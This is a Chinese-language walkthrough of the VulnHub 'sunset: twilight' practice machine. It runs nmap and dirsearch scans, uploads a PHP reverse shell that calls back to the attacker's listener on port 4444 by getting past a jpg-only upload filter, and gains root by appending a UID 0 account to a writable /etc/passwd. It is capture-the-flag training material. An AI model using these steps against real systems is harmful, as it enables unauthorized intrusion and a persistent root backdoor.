sunset: twilight靶场
sunset: twilight
来自 <sunset: twilight ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.145
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.145
22/tcp - SSH (OpenSSH 7.9p1 Debian 10)
- 版本信息:OpenSSH 7.9p1,Debian 10 (Buster) 默认版本。
- 潜在问题:弱口令/暴力破解,已知版本的远程代码执行漏洞可能较少,但可用于 爆破登录,获取用户凭证。
25/tcp - SMTP (Exim)
- 服务器:Exim smtpd
- 支持命令:AUTH、PIPELINING、CHUNKING,意味着支持邮件中继。
- 潜在问题:
- 开放中继 → 可测试是否允许未认证发件。
- 漏洞历史:Exim 曾多次爆出 RCE 漏洞(例如 CVE-2019-15846)。
80/tcp - HTTP (Apache 2.4.38)
- 系统:Apache 2.4.38 (Debian 10 默认版本)。
- 返回结果:页面无标题,可能是默认站点或未配置。
- 攻击面:
- 目录扫描 → 寻找敏感路径(/phpmyadmin、/uploads 等)。
- 已知漏洞 → Apache 2.4.38 存在多项 DoS / 权限提升漏洞。
139/445/tcp - SMB (Samba 4.9.5-Debian)
- 提供 SMB 文件共享。
- 信息泄露:
- NetBIOS 名称:TWILIGHT
- 工作组:WORKGROUP
- 安全模式:消息签名未启用(危险)。
- 攻击面:
- 匿名共享 → 可尝试 smbclient -L 枚举。
- Samba 4.9.x 存在漏洞(远程代码执行 CVE-2019-10197、信息泄露)。
2121/tcp - FTP (pyftpdlib 1.5.6)
- 支持 匿名登录
- 已发现文件:22253251-65325.twilight(可能是提示信息或关键凭证)。
- 攻击面:
- 匿名访问 → 枚举更多文件、尝试上传 webshell(若有写权限)。
- pyftpdlib 默认情况下没有特别强的安全限制。
3306/tcp - MySQL (MariaDB 10.3.22)
- 信息:
- 认证插件:mysql_native_password
- 已泄露 Salt:Te!p4Ooc#!x\Te}gi\o<` → 可用来做密码爆破。
- 攻击面:
- 弱口令爆破。
- 若存在 Web 应用关联,可能通过数据库注入拿到权限。
8080/tcp & 63525/tcp - HTTP (PHP CLI Web Server)
- 标识:Easy File Sharing Web Server 登录页面。
- 攻击面:
- 可能是弱口令/默认口令后台。
- 该类文件共享系统常有 任意文件上传 / RCE 漏洞。
- http-open-proxy 显示可能存在代理功能 → 可被利用作跳板。
4,访问80端口开放的http服务
再扫描其子目录
dirsearch -u http://192.168.23.145 -x 403,404
存在一个子目录,访问之
http://192.168.23.145/gallery/
允许上传文件,这里就上传kali自带的反弹shell木马
5,复制并且编辑木马反弹的IP和端口
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
mousepad shell.php
这里只允许上传jpg文件,直接上传php文件会被拦截。这里就使用burpsuite,先上传shell.jpg再修改其后缀名
但是这里没有显示上传的文件再哪里,这就需要我们接续使用gobuster枚举扫描出来
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt -u http://192.168.23.145/gallery/
http://192.168.23.145/gallery/original/
点击shell.php成功触发反弹shell,与此同时kali攻击机需要打开对4444端口的监听
成功getshell
6,python脚本获取一个可交互式脚本,再信息收集一下
python3 -c "import pty;pty.spawn('/bin/bash')"
再看看sudo提权操作是否可行
sudo命令需要密码,操作失败。但是发/etc/passwd所有用户可读可写
先在攻击机上生成一个密码 hash:
openssl passwd -1 123456
在靶机上编辑 /etc/passwd,添加一行:
echo 'hacker:$1$WIbcC9hq$kgWIRfc1/pdMOlvEXwc6K0:0:0:root:/root:/bin/bash' >> /etc/passwd
字段解释:
- hacker → 用户名
- :0:0: → UID=0、GID=0,即 root 权限
- /root → home 目录
- /bin/bash → shell
保存后你就可以直接登录:
su hacker
成功提权成为root用户,得到flag